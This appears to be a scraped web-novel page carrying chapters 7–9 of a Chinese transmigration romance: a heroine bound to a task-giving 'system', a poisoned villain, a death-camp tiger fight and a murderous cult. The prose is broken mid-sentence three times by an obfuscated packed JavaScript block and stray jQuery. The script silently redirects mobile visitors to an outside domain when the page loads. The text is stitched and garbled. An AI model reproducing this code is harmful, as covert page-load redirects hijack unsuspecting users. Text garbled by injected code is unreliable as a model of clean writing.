;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488789|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>第一次,她把谢淮从新房里拖出来,应该也是在完成任务,而且是任务一,所以当晚回去,他手腕上的毒线就淡了。
所以他现在确定,自己靠近夏笙月就能听见给她布置任务的声音,只要她完成任务,自己体内的毒素就会慢慢消失。
这夏笙月,可真有意思,不过不能让她知道自己也能听见布置任务的声音,因为他看得出来夏笙月很烦他,万一被她知道了,她不去完成任务的话,那他体内的毒这辈子就无解了。
夏笙月疼得呲牙咧嘴:“我跟你走就是了,你别扯我头发。”
谢无洲这才放开手,问了一个无厘头的问题:“夏三小姐,你很喜欢钱吗?”
夏笙月重新把自己的辫子绑好,头也不抬:“谁会和钱过不去?”
“难怪你叫钱多多。”谢无洲在一旁打趣,顿了顿,他又说,“钱多多怪俗气,还是夏笙笙好听。”
夏笙月纠正他:“是夏笙月。”
谢无洲意味深长的“哦”一声,然后:“夏笙笙、夏笙笙……”
夏笙月捂住耳朵,觉得他甚是聒噪,他爱叫什么就叫什么吧。
“谢二公子,你叫我出来究竟有什么事?”她问道。
“来跟你谈条件。”
夏笙月有些不解:“什么条件?你说。”
谢无洲清了清嗓子:“我可以不杀你,但是,每个月除了月初三天和月末三天,其他时间你都要跟我待在一起。”
月初三天和月末三天是活死人营的考核日,他不能出来,其他的时间,他一定要把夏笙月拴在身边,万一有什么她不能完成的任务,他也可以帮她一把。
这么一想,谢无洲还是觉得自己心肠太好了,像他这么乐于助人的人可不多。
夏笙月停下脚步,更加不解:“为啥?”
谢无洲想了想:“因为我得看着你,不能让你去破坏我大哥大嫂的感情。”
夏笙月欲哭无泪:“我真的不喜欢你大哥。”
“那你喜欢我吗?”他突然逼近。
夏笙月摇头也不是点头也不是,她干笑两声:“一点点。”
谢无洲摸了摸下巴,一副思考状:“才一点点啊,那就更要在一起培养感情了。”
“走,今日张员外家的小姐抛绣球招亲,我带你看热闹去。”说完迈开长腿自顾自的走在前面,丝毫不等后面的夏笙月,因为他知道她不敢跑。
夏笙月脑袋里一团黑线,这大反派不对劲啊。
他走的很快,她得小跑起来才能追上他,让他走慢一点,他就会走得更快。
张员外是京城排得上名的富庶人家,他的女儿也生得貌美如花,故而来抢绣球的青年才俊数不胜数。
等他们两人到的时候外面早已经围了一圈人,人群熙熙攘攘,谢无洲直接用轻功踩在别人的肩上来到最前面,然后冲最外面的夏笙月挑眉一笑,让她赶紧过来。
夏笙月无语了,会轻功也不知道带带她,没办法她只能慢慢从人群中挤过去,这里都是一些大老爷们,难免有几个体味重的,她差点被熏晕过去,等挤到前面的时候,已经头晕目眩了。
眼前是一座三层高楼,布置的十分喜庆。
夏笙月往四周看了看,今日来抢绣球的大多都是一些英俊公子,墙边角落还有一个乞丐正在打瞌睡。
她收回目光。
人群中,系统的声音突兀地响了起来:[任务三,请抢到绣球放在乞丐碗里。]
夏笙月懵了,她抢不抢的到绣球是一回事,放乞丐碗里又算怎么个事?
她仔细看了看墙角边的乞丐,衣衫褴褛,浑身脏兮兮的,看起来也有七老八十了,自己要真这么做了不是在害人家姑娘嘛。
她忍不住吐槽:[统统,这也太缺德了。]这任务一个个的怎么都这么……难。
系统:[恶毒女配,支棱起来。]
夏笙月叹了口气,想了想,一个想法在脑子里浮现,她抬头望向身边的谢无洲,却发现他也在看她,她讨好一笑。
“玉树临风风流倜傥的谢二公子,有件事想拜托你一下。”
7. 恐慌
谢无洲弯了弯嘴角,他刚刚也听到了任务布置的声音。
“说。”
夏笙月不敢和他对视,和他对上总感觉要被他的眼睛吸进去一样,她稍微移开目光:“谢二公子,等会儿你可不可以帮我抢一下绣球?”
她耳边小辫垂落,谢无洲忍不住用手绕起一根,缠在手指上一圈又一圈,狭长的眼睛微微眯起,狡黠一笑:“给我一个帮你的理由?”
少年的指尖无意划过她的脸,同电流一般,酥酥麻麻的感觉迅速传遍全身。
夏笙月握住他那只作乱的手,眨着大眼睛:“你今日帮我一次,日后你有困难,我也为你赴汤蹈火。”她说的情真意切。
少女柔软的手心包裹着他常年舞刀弄枪长满薄茧的手,他忽然心慌的厉害,急忙将自己的手抽出,一脸嫌弃:“理由不成立,我不帮。”
夏笙月咬牙:“那如果我说我喜欢张家小姐,让你帮我抢一下绣球,谢二公子会不会同意呢?”她这番话只是随便说说,反正他也不会相信。
哪知谢无洲不按套路出牌,他露出一副恍然大悟的表情:“这样啊,那我就勉为其难帮你一次。”
他信了?这么个理由他竟然信了?夏笙月古怪的看着他,扯了扯他的衣角,压低声音在他耳边呢喃:“那个,刚刚就是随便说说,其实我不喜欢……”
谢无洲打断她,低沉的嗓音夹着几分戏谑,像是在逗自己的小宠物一般:“夏笙笙,自古以来男人有断袖之癖,女人为何不能有同衿之好?我支持你追求自己的幸福。”他盯着她,似是在欣赏她的窘态。
夏笙月不解释了:“那我就在这里谢谢谢二公子了,一定要帮我抢到绣球哦。”
谢无洲笑了笑,转头看向面前的高楼,阳光从侧面照过来,他半张脸逆在阳光里,侧脸轮廓更加分明,淡薄的皮肉包裹住凌厉的棱角,唇角漫不经心的扬起,连带着唇形都显得冷漠。
夏笙月揉了揉自己的眼睛,抛开反派这层身份不谈,谢无洲确实长得还挺合她眼缘,只是一想到他在书里的种种作为,她就立马袪魅了。
帅哥固然好看,保命更加重要。
见楼上的张小姐久久不出来,底下人群议论纷纷,有些只是来凑热闹的人问道:“这张小姐怎么回事?”
“张小姐真有那么貌美吗?那为何二十三了还未出嫁?”底下有人疑惑。
一位青衣公子合起折扇,说道:“就是这张小姐长的实在太美,去提亲的她又看不上,故而越拖越久,就拖到了现在。”
“所以张老爷就特意举办了这场抛绣球招亲,让姻缘天定。”
正说话间,楼上的张小姐在丫鬟的搀扶下款款而来,她穿了一身红色齐胸襦裙,外面披着同款丝织外衣,头发盘在脑后,发饰都是七彩流光的珠宝,额上还描了一个花钿,让她本就娇美的面容更加妩媚起来。
夏笙月都看呆了。
底下抢绣球的人看到张小姐的真容,更加沸腾起来。
张老爷笑意盈盈地站在张小姐旁边,抬手示意大家安静:“今日小女选夫婿,感谢大家捧场,今日这绣球落在谁的手上,谁就是我张某人的乘龙快婿,绝不食言。”
眼看着快开始了,夏笙月从荷包里拿出两颗碎银子跑到乞丐面前,把他那只破碗买了下来,乞丐得了两颗碎银子乐颠颠的买酒去了。
谢无洲还以为她有什么办法,原来是把碗买下来,真亏她想得出来。
夏笙月觉得自己可太聪明了,任务只说把绣球放在碗里又不是放在乞丐身上,她只要把碗买过来就行了,接下来就看谢无洲的了:“谢二公子,加油加油。”
谢无洲哭笑不得。
楼上的张小姐往下面望了一圈,见来的都是一些青年才俊,她才稍微放下心来,对张老爷点了点头。
张老爷会意,敲响手中的锣鼓,张小姐将流苏绣球抛下,然后提心吊胆的往下张望。
一颗小小的绣球在人群中滚来滚去,谁都想去抢,可偏偏谁也抢不到,夏笙月眼睛一直盯着绣球,生怕它被谁给抢了去。
见旁边的谢无洲无动于衷,她急了:“谢二公子,说过要帮我的,不能言而无信。”
谢无洲稳稳当当的站在原地不动:“不急。”
还不急?夏笙月急得眼泪都快出来了,要是绣球被别人抢了,她不仅要被系统电,还要循环再来一次,她可不想嘞。
谢无洲不靠谱那就自己上,她抱着个破碗就挤到人堆里,可是周围都是身高体重的男人,她像只皮球一样在里面被人挤来挤去,根本找不着南北。
头好晕啊。
一只大手将她从人群中给拽了出来,而后谢无洲往上一跃,轻松拿到绣球。
夏笙月赶紧将自己的碗伸出去,示意他丢到这里。
绣球在谢无洲手里仅仅只待了一秒就被他丢了出去。
夏笙月盯着空中飞来的球,一刻也不敢分神,直到绣球安安稳稳的落在碗里,她才长舒一口气。
周围顿时安静的可怕,大家都齐刷刷的看向接球的夏笙月,怎么是个女子啊?
众人开始议论纷纷,楼上张老爷的脸色很不好看。
眼见着局势不对,夏笙月放下手里的碗和绣球,拉起谢无洲从人群中挤了出去,跑过长街,再拐进一条小巷。
谢无洲垂眼看着十指紧握的手,掌心温度灼人,他松开她:“我不喜欢别人碰我。”
夏笙月看他嫌弃的样子,擦了擦手心的汗,要不是情况紧急,她才不愿意拉他呢。
这条小巷远离闹区,僻静的很,夏笙月跑累了,一屁股坐在木箱上,耳边是系统的声音:[恭喜任务完成,奖励五点积分。]
夏笙月单手撑头,余光瞄向旁边的人:[统统,大反派好奇怪,为啥非要我跟着他?]她想破脑袋也想不通。
这把系统也难住了:[我猜,大反派可能是想慢慢折磨你。]
夏笙月突然恍然大悟,原来是这样。
这谢无洲可不是一个简单的反派,逆他者亡,顺他者亡,得罪他的更要亡。
夏笙月更慌了:[统统救我。]她不就是跟他开了个玩笑嘛,他咋还追着自己不放了,要她说,反派的气量也太小了,为难她一个弱女子算什么事嘛。
系统:[让我想想。]
虽然这是一本限制文,男女主各种play,其他配角有时候做事的时候也会被作者重点描写出来,但是大反派从头到尾没有任何官配,身边别说女人了连只母蚊子都没有,他十分不喜女色,一心只想搞事业,算得上是一股清流。
所以,美人计对他应该没用,那它没招了,但忽然想起什么,它赶紧说:[夏夏,书里说大反派身中剧毒活不了多久。]
夏笙月一听就来了精神,真是坏人自有天收:[那他什么时候领饭盒?]这本限制文她只看了一半,所以并不知道后半段的故事走向。
系统想了想:[好像是结局的时候。]
仔细想想大反派也挺可怜的,那么拼命的想活着,可到故事的最后还是一捧黄土归地。
[现在的剧情离结局还有多久?]她继续问。
系统:[这本限制文时间线不长,还有一年左右。]
一年,夏笙月偷偷瞄了瞄谢无洲,这一年她苟也得苟住。
见她时不时偷偷看自己,谢无洲直接走到她面前,捧起她的脸:“要看就正大光明的看。”
夏笙月笑着把他的手从自己脸上拿下:“谢二公子太帅了,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488790|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好意思光明正大地看。”
她的表情像小狐狸一样狡黠,谢无洲觉得她在骗自己。
夏笙月看了眼天色:“谢二公子,要是没有什么事的话我可以走了吗?”
谢无洲看了看手腕上的那条线,又比上次淡了一些,果然如他所想,他放下衣袖:“你走吧。”
夏笙月不敢相信自己的耳朵,就这么放自己走了?她一句话不敢多说,怕说什么又让他不高兴,她赶紧起身,然后脚底抹油一样混入人群一下就不见了踪影。
谢无洲看着那抹欢脱的背影,漆黑的眸子深沉静谧,他身上似乎永远笼罩着一层冷意,再暖的阳光也照不进他心里。
……
夏笙月在安神堂忙完的时候天色已经渐暗,老齐让她快些回家,说这两日京城不太平。
夏笙月追问道:“发生什么事了吗?”
老齐神色凝重:“今早个在城门口发现一具无头女尸,极其凄惨,现在官府正在彻查凶手。”
“钱神医,最近这几日趁太阳没落山前你就回去吧,不然我这心里总是不踏实。”
夏笙月鸡皮疙瘩都起来了,加快了收东西的动作:“谢谢老齐,那我今日先回去了。”
“好。”
夏笙月回府的时候天还没黑透,她心里一直记挂着一件事,就是那日找她把脉的少年,那少年毒入心脉,按道理早已无药可医,可她不想放弃,
深夜,夏笙月将自己埋在一堆医书里,提笔写了一张又一张药方,蜡烛都燃了好几根,直到最后一本医书翻完,她又累又困,趴在桌子上眼皮直打架,终于撑不住睡了过去。
这一晚,她梦见几株成精的草药追着自己跑,跑到一处悬崖边,它们一个个都向她扑过来,她往后一倒,跌了下去。
“啊。”
夏笙月揉着发疼的脑袋从书案上醒过来,桌子上散落着数十本医书,她揉了揉太阳穴,回忆起刚刚那个梦。
五指毛桃、茯苓、五味子、莲心、白芍、百合、党参段。
又抬头看向自己写过的药方。
慢毒入心,或许可以用温药慢解。
不管是什么毒,最怕这些温热解毒的药材。
他中的是慢性毒药,那就用慢性草药慢慢解,到时候再用银针疏通全身血脉,或许还有的救。
她在纸上写下几种常见的清热解毒的药材,然后小心翼翼的打开门,墙头上空空如也,不见谢无洲的身影,她松了一口气往安神堂跑。
可是在安神堂等了整整一天,那人还是没有来。
太阳已经完全落山,老齐在门口挂上两盏照路的灯笼,他提醒夏笙月:“钱神医,他应该不会来了,你早点回去吧,听说今日早上又在城东发现一具,这世道真是越来越不太平了。”
夏笙月心里纠结:“我再等一柱香。”
老齐没再劝,提上灯笼打算回去,不忘叮嘱她:“钱神医待会走的时候帮我把这医馆门关上,钥匙就放在门口的石柱下,谢谢啊。”
夏笙月点头。
京城出了这起案子,闹得人心惶惶,才刚入夜街上就已经没什么人。
夜风起,灯笼晃。
月亮不知何时被黑云遮蔽,长街上陷入一片黑暗,只有屋外的两盏灯笼幽幽的亮着,随风飘动。
夏笙月瞧着外面的夜色,突然想起自己看过的东京怪谈,空荡荡的街道蹿出一个身穿白衣披着长发踮起脚走路的女人。
越想越害怕,她起身走过去把大门关上,晚风吹起她脸上的面纱,地上的一片落叶被风吹起轻轻划过她的下巴。
她心里觉得奇怪,怎么突然起了这么大风。
走到药柜旁,背后关好的大门突然“吱呀”一声开了。
8. 困境
夏笙月突然顿住,背后一阵冷风吹过,全身汗毛竖起,一股无法名状的恐惧紧紧扼住她的心脏,她屏住呼吸,不敢回头,怕看到什么奇怪的东西。
地上的影子离她越来越近,直至停在她身后,夏笙月拔下头上的簪子攥在手里以备不时之需。
“钱神医。”一道清冷低沉的嗓音响起。
听到这三个字,夏笙月心里一松,原来是来找她看病的,真是自己吓自己,她擦了一把额头上的汗,把簪子放进衣袖里,然后转身看向来人。
是那个黑衣少年,他依旧如三天前打扮那样,一身黑色劲装,简练干净,以斗笠遮面,让人窥不见真容。
见是他,她彻底放下心来,让少年坐下,然后再次给他把脉,少年手伸出来的刹那,只见他掌心多了一条血淋淋的伤口,还在汩汩往外冒血。
她一惊,也不多问,连忙拿出止血的东西给他包扎,哪知少年手一缩,声线很冷:“不用。”
夏笙月拿药的手一顿,既然人家说不用那她也不在这烂好心,于是重新搭上他的脉搏,柔软的指腹在他的手腕处轻轻摩挲。
等等,不对劲。
蜡烛在一旁烧得滋滋作响,少年似乎还有事,催促道:“好了吗?”
夏笙月这才收回手,这脉相太奇怪了,前几日已是毒入心肺的死脉,怎么现在又有了一丝生机?
她眉头一展,或许眼前的少年命不该绝,她拿出一张已经写好的药方和抓好的药递给他,耐心嘱咐:“这药一日三次,要连续吃三个月。”
少年起身,修长的身影完全罩住了夏笙月,夏笙月抬头,昏黄的灯光下,只能看见他隐在斗笠黑纱下凸起的喉结。
“嗯。”他丢下一锭银子,黑色的身影再次融入无边的夜色里。
出来后,谢无洲打开手里的药方,发现上面写的都是一些常见药材,普通的不能再普通,他神色冷淡,不自觉皱起眉。
什么神医,简直是庸医,竟然拿这些草药来糊弄他。
旁边是一家打铁铺,外面是烧的正旺的打铁炉子,他把药方和草药全都扔进了火红的炭炉里,炉子冒出一阵亮堂火光,里面的东西烧的噼啪作响。
……
夏笙月把医馆的东西收拾妥当,最后关上门,把钥匙放在石柱下,她出来的时候长街上已经看不到什么人了,只剩下一条空荡荡的街道,她提着一盏小灯笼,心里有些害怕,走一步望三步,生怕蹿出来什么坏人。
第一次感觉长明街这条路这么漫长,旁边的铺子没有一家开门的,就连以前经常在这里卖馄饨的小摊贩今日也没有来,路上寂静的只能听见她自己的脚步声。
远处夜色朦胧,像染了一层雾气。
走着走着,空旷的街道突然多了一些别的声音,有脚步声,有铃铛声。
她往前看去,只见前面有两队人马穿过雾气而来,他们整整齐齐的排成两排,每个人都穿着同样的黑色长衫,手里拿着一根照明蜡烛,双目无神,颇像行尸走肉。
夏笙月看见这些奇怪的人,心里一阵发怵,她自觉走在最边上,尽量不和那些人有接触。
擦肩而过的时候,那些人全部齐刷刷的看向她,夏笙月也下意识看向她们,这一眼,差点没叫出来。
只见她们一个个脸色煞白,眼睛充血,嘴角都诡异的裂开,脸上也都闪着一抹疯狂的喜色,就好像是……看到了美味的猎物一般。
夏笙月一颗心直接提到了嗓子眼,她加快脚步往前走。
这伙人真的太奇怪了。
可是还没走两步,突然后颈一痛,然后眼前一黑,她被人打晕了。
……
活死人营。
谢无洲推开沉重的铁门,入眼的便是一片血污,地上横七竖八躺着无数尸体,都是今日考核的失败者。
一大群乌鸦从笼中飞出,残忍啄食地上的“美味”。
空气中弥漫着压抑的味道,这感觉,真让人窒息啊。
进了活死人营,连活着也成了一种奢望,这里都是不要命的疯子,亦或是一些走投无路无父无母的孤儿,世上没了什么牵挂,才毅然扎入这里。
想要在这里出人头地,必须得先活着,然后在斗武的时候极力表现,为自己争取一块随军令牌,去了战场,才能建立军功,这是这里的人唯一的翻身机会。
寒门子弟或高门望族可以走科举光耀门楣,没人会来这里刀口舔血,只为博那一条微乎其微的生路。
说来也可笑,古往今来他是第一个进到这里来的官宦子弟,还是被自己的亲爹亲自送进来的。
他一直记得那日,大雨倾盆,十岁的他被丢在这里,大雨中,那个被称为父亲的人背影决绝,一次都没有回头,铁门关上,耳边全是打打杀杀的声音,鼻尖充斥着浓重的血腥味,他没有哭,而是从雨水中爬起来,拿起短刀狠狠刺向刚刚踩他的男人,他开始变得和这里的人一样,冷血、残暴。
等乌鸦都飞走了后,地上的尸体只剩下一堆骨头架子,只有一些碎肉孤零零的粘在骨架上,他冷漠的穿过,脚下沾满了血也浑然不觉。
走过冰冷的铺尸路,耳边开始传来糜烂的欢|爱声。
前面是一个用竹竿子搭起的棚子,无顶无门,里面的景象尽收眼底。
无数男女正在吻颈交|欢,痛苦沉沦。
谢无洲看了眼桌上那根晃倒的蜡烛,连光影里都是腐烂的味道。
营里的日子血腥压抑,为了让男人们发泄,主管会找来一些女子供他们取乐,而这里面的男人也沉浸在这种欢乐里试图麻痹自己。
谢无洲目不斜视的走过去,再往前走就到了太崎殿,里面刀光剑影,晃的人眼睛生疼,一个衣衫褴褛的奴隶拼命抵抗围上来的十个黑衣人,他剑法不俗,可抵不住对面人多势众,不过三个回合,便被抹了脖子。
谢无洲收回目光,这里的人要想出去,必须得过太崎殿这一关,如若杀得了十个黑衣人,就可出去一天。
在他十五岁那年,终于杀了太崎殿十个护卫,这才得以出去一天,他拖着伤痕累累的身子走回家,看到肃国公一家三口正在其乐融融地赏花。
他的出现打破了他们的美好。
肃国公不可置信地望向他,没想到他能活着出来,他嘴唇翕动,最终什么也没说,冷哼一声背手离开。
后来啊,只要他回府,文衿总会给他喂慢性毒药。
渐渐的,肃国公府在他心里根本不能称之为家,那是一个比活死人营更阴冷的地方。
走到最里面,这里是京城最大的斗兽场,里面放了二十只铁笼,每只笼子里都关着一只饿了十几天的老虎,虎群发出激烈的吼叫,爪子不断磨刻关着他们的铁笼,看起来非常暴躁。
斗兽场的尽头是一座高塔,上面悬挂着一枚上虎令牌。
这上虎令可是大都督的军牌,今晚谁要是把它成功摘下,三月之后便可跟着大都督去边关抗敌,或许还能混个官回来。
这块令牌可以说是这几年最大的头彩,斗兽场围栏外面已经围满了奴隶,他们眼巴巴的看着闪耀在楼顶的令牌,心里按捺不住,连笼子里的饿虎也没吓住他们。
在这里不知道什么时候就会死,还不如现在去拼一把。
谢无洲拿下斗笠,站在人群里十分打眼,他唇线紧抿,一双漆黑的眸子熠着丝丝光亮,周围人的喧闹他都听不见,只能看见那高塔上闪着光的令牌。
他要它。
锣鼓一声响,想要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488791|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去争夺令牌的奴隶纷纷入场,一共一百六十人,铁栅栏一关,再无出去的可能。
笼子里的老虎看到面前出现的人群时,嘶吼声更大了,纷纷拍打笼门想要立刻冲出去。
斗兽场上回荡着无数老虎的怒吼,让人胆战心惊。
一声令下,笼门打开,二十只老虎一窜而出,纷纷张开血盆大口扑向中间的奴隶们,一时间惨叫声此起彼伏,血液呈喷射状在空中划过,一个又一个奴隶倒下。
谢无洲看着朝自己而来的饿虎,他拿出靴子里的短刀,快速利落地扎进它的眼睛,尽管他的身手已经够快,但老虎的爪子还是抓到了他的脖颈,留下三道触目惊心的血痕。
杀死一只又上来一只,饿虎獠牙上的血滴落在地,张大嘴巴冲着谢无洲吼叫,然后飞身猛扑过来。
“咔嚓。”
谢无洲一用力,直接拧断了它的脖子。
突然,小腿传来一阵剧痛,低头一看,一只饿虎咬住了他的小腿,他直接扬起手里的刀狠狠刺了下去,血花飞溅,染红了他的眼睛。
打斗声渐停,现场一片狼藉,躺在地上的尸体横七竖八,有虎群的也有奴隶的,他们死状凄惨,残肢断臂到处都是。
这场决斗终究只活了三个人。
谢无洲擦掉脸上的血污,站起来继续往那座高塔走去,眼中隐隐跳跃着一团火焰,在他后面还跟着两个幸存的奴隶。
另一座的高台上,抹着口脂,脸上刷着白粉的老公公把长长的指甲伸进茶水里细细清洗起来。
“告诉塔里面的暗卫,进去的那三个人一个都不能活。”他扯着尖细的嗓音吩咐手下。
这座活死人营原本是选拔将才的地方,可皇上为了防止上将军一家独大,便派了他来管理这里,可他就是个公公,怎么会懂选拔人才之道。
这么些年来,拿银子贿赂他的,他就把人送到边关建功立业,一个子儿都蹦不出来的人那就只有死的份。
今日这块上虎令他已经决定给自己的义子,谁也抢不走,至于今日这场决斗只是做做样子罢了。
塔里面还有一百个身手极佳的暗卫,谁也拿不走楼顶上的东西。
塔里面刀光剑影,血染红了一层又一层,月亮西沉,天空一片昏暗。
老公公紧紧盯着对面,不知看到了什么,突然一口茶水喷出来,手下的人赶忙拿来手帕替他擦拭。
他激动地站起身趴在栏杆处,眯着眼睛看向对面那座塔。
只见一个半身是血的少年摘下了楼顶上的令牌,少年头发凌乱,鼻梁上、脸上到处都是血迹,冷白的肌肤失了颜色,几乎变得透明,全身上下透着一股死人般的冷寂,那双如潭水一样的眼睛更是深不见。
谢无洲拿着令牌走出来,如地狱中回来的杀神,冷风吹过,发带轻扬,谁也看不清他脸上的情绪。
场外的奴隶看到有人真的取下了上虎令,一个个睁大眼睛,似乎是有些不敢相信。
他带着满身杀气从人群中走过,只留下一路血迹。
老公公面上闪过杀意:“别让他活。”
肃国公府的弃子罢了,杀了也就杀了。
夜色深然,谢无洲被逼到一处悬崖边,对面是数十个骑着马的黑衣人,为首的那人说:“把令牌交出来。”
谢无洲无力地牵起嘴角,没有力气在跟这些人周璇,他晃了晃手里的东西,声音疲惫:“想要这个呀,自己来拿。”说完纵身一跃。
重重落地时,他几乎听到了骨头碎裂的声音。
悬崖上为首的黑衣人吩咐道:“下去找,务必把令牌找回来。”
……
迷迷糊糊中,夏笙月被一阵念经声吵醒,她慢慢睁开眼睛,入目的是一片白光。
9. 受伤
白光照得她眼睛疼,适应了许久才看清楚周围的事物,只见她身边围了一圈蜡烛,有些火苗已经快跳到她衣裙上了,她赶紧抬手想驱赶火星,却发现根本动不了。
原来自己被人绑起来了。
她心里一紧,大事不好,打眼看了一圈四周的环境,阴森的气氛弥漫在空气里,让人感到一阵恐惧,
念经的声一声声传过来,她努力抬起头,只见屋子的角落站了好几个身穿黑袍女人,她们向着她,低头念着手里的经书。
夏笙月觉得刺耳的很。
见她醒了,她们合上经书朝她走来,沉重的脚步声渐渐逼近,好像是恶魔在靠近,让人心惊肉跳。
夏笙月这次是真怕了。
那些人围在她旁边,低头注视她,眼神恐怖。
她们的目光如同一座大山压的她喘不过气,恐惧感瞬间传遍全身,她的身体不由自主地颤抖起来。
[统……统,这些人是谁啊?我该怎么办?]人在遇到危险的时候,下意识会向最信赖的同伴求救。
结果,系统不知道哪里去了,半天没回声。
夏笙月闭了闭眼,开口道:“各……各位姐姐,咱们有话好好说。”说话间牙齿都在打颤。
离她最近的女人把手里的经书放在她旁边,俯身摸了摸她的脸颊,指尖冰凉,夏笙月本能瑟缩,恶心的恐惧感扑面而来,她好想逃离这个可怕的地方。
另一个女人端来一碗水,一点点用柳条撒在她身上。
夏笙月现在都还搞不懂她们究竟要干什么。
洒完水后,为首的女人终于开口说话,她声音嘶哑:“恭喜你被圣母娘娘选中,即将去往极乐世界。”
圣母娘娘她不知道是谁,但她知道极乐世界啊,那不就是天堂嘛,这群人果真是想杀她,为什么呀?
“各位大姐,我们无怨无仇,你们放了我,我给你们钱。”夏笙月恳求道。
女人眉都没皱一下:“姑娘,你安心去吧。”话一说完,其他几个人也都把手里的经书放在她旁边,目光齐刷刷看向她,像一群虔诚的信徒。
其中一个黑袍拿出一把砍刀从人群中走出来。
看到上面斑斑血迹时,夏笙月睁大眼睛,呼吸急促,就在刀离她脖子还有一寸的时候,她急忙叫停:“停停停停停,大姐…你这刀生锈了,不干净啊,圣母娘娘肯定会生气的。”
果然,动手的人迟疑了,她看了看刀,血迹混着锈迹,看起来十分肮脏,她和为首的女人耳语几句,女人示意她出去把刀洗干净。
夏笙月也算得了片刻喘息,她赶紧继续说:“大姐,你们放了我,今日的事我绝对不会说出去半个字。”
女人不理她,专心致志看着手里的经书。
夏笙月试探性问了一句:“你们是不是很信奉圣母娘娘?”
女人终于抬眼看她。
夏笙月抿了抿唇,踌躇道:“那个……我也想加入你们。”说完眼神真挚的望向她。
根据这些人的打扮来看她们应该是一群信徒,信奉的应该就是她们经书中的圣母娘娘。
信徒最喜欢的是什么?是有人加入他们。
女人果然放下经书,略带怀疑的看着她:“圣母娘娘不乱收徒。”
夏笙月:“有什么要求吗?我都可以完成。”
“你真想加入?”
夏笙月点头:“崇拜圣母娘娘已久,但是找不到组织,如今终于见到了,大姐,你就让我加入吧。”
女人沉思片刻,让人取来一个碟子和一把刀,她割开夏笙月的食指,将血滴进碟子里,然后给她解绑,再拿出一团血淋淋的生肉让她吃下去。
看着那团滴血的东西,夏笙月忍住恶心,大口咀嚼起来,胃里翻江倒海。
女人终于信了。
肉吃下去后,夏笙月闭上眼睛缓了许久才缓过来,自己这吃的是什么肉?不会是人肉吧?
她越想越恶心,强忍住呕出来的冲动。
黑袍女人从柜子里抱出一个破旧的木盒,她小心翼翼地打开,拿出一尊黑色木像摆在供台上,对它虔诚一拜。
然后让夏笙月跪在木像面前:“这是我们的圣母娘娘,你若想加入圣母教,便对着圣母娘娘磕三个响头,再发一条毒誓。”
夏笙月听话照做,磕了三个头后她举起三根手指发誓:“我自愿加入圣母教,绝无二心,如若不然,我……一辈子不嫁人,孤独终老。”
女人似乎是很满意,把木像收起来,然后再递给她一本经书。
夏笙月松了一口气,应该是糊弄过去了,现在想办法脱身就行了。
窗外明月高悬,乌鸦啼叫而过。
几个黑袍女人围坐在一起,手里都捧着圣经,嘴里念念有词,夏笙月也装模作样的坐在她们当中。
“那个,咱们的这个组织就只有这么点人?”夏笙月问她旁边的女人。
这个女人年纪看起来并不大,只是神情非常麻木,她说道:“不止。”
“你们今晚为何要杀我?”夏笙月最想搞清楚这件事。
现在她也是圣母教的一员,女人便把事情都告诉了她。
夏笙月大骇,原来是这样。
这几日是圣母娘娘的生日,圣母娘娘喜欢年轻漂亮的姑娘,她们这伙人前几天就杀了两个姑娘献祭给了所谓的圣母。
城门口出现的无头女尸正是她们所为。
夏笙月遍体生寒,抬头看了一圈围坐在一起的黑袍女人,她们看起来那么普通,怎么都不像会杀人的人。
她垂下眸,唇线抿的笔直。
已经是下半夜了,这群女人看起来丝毫不困,夏笙月放下经书站起身:“我想去茅房。”
立刻有两个女人跟着她。
夏笙月从茅厕出来的时候,趁她们不注意伸手在旁边摘了几棵红果,红果又叫蛇果,汁液有毒,少量服用能让人昏迷好几个时辰。
“大家渴不渴?我给大家倒杯茶。”一回屋夏笙月对众人说道。
女人们理都没理她,一个劲的念经。
夏笙月捏了捏衣袖里的蛇果,见下药不成,只能坐下见机行事。
月亮西沉,女人们放下手里的经书,看样子打算休息了。
“去把圣水拿来,我们喝了就赶紧睡吧。”为首的女人说道。
年龄稍大的女人起身去拿桌上的茶壶,夏笙月见时机到了,连忙上去献殷勤:“我来帮你。”说着就要去拿,哪知人家根本不给她。
落了空,夏笙月又转头看向桌上放着的杯子,计上心来。
她在衣袖里面捏碎蛇果,直到手上沾满汁液后她背身趁人不注意在每个杯子边口都轻轻抹了一下,然后才把杯子分散下去。
茶壶里的水是圣水,是圣母娘娘的恩赐,她们双手捧起水杯,谢过圣母娘娘后一饮而尽。
夏笙月用衣袖挡住自己喝水的动作,偷偷把水全部倒在了衣袖上。
喝完圣水后,有人连杯子都来不及放下便哐当一声倒了下去,一个接着一个,直到全部晕过去后夏笙月才提起裙摆往外跑。
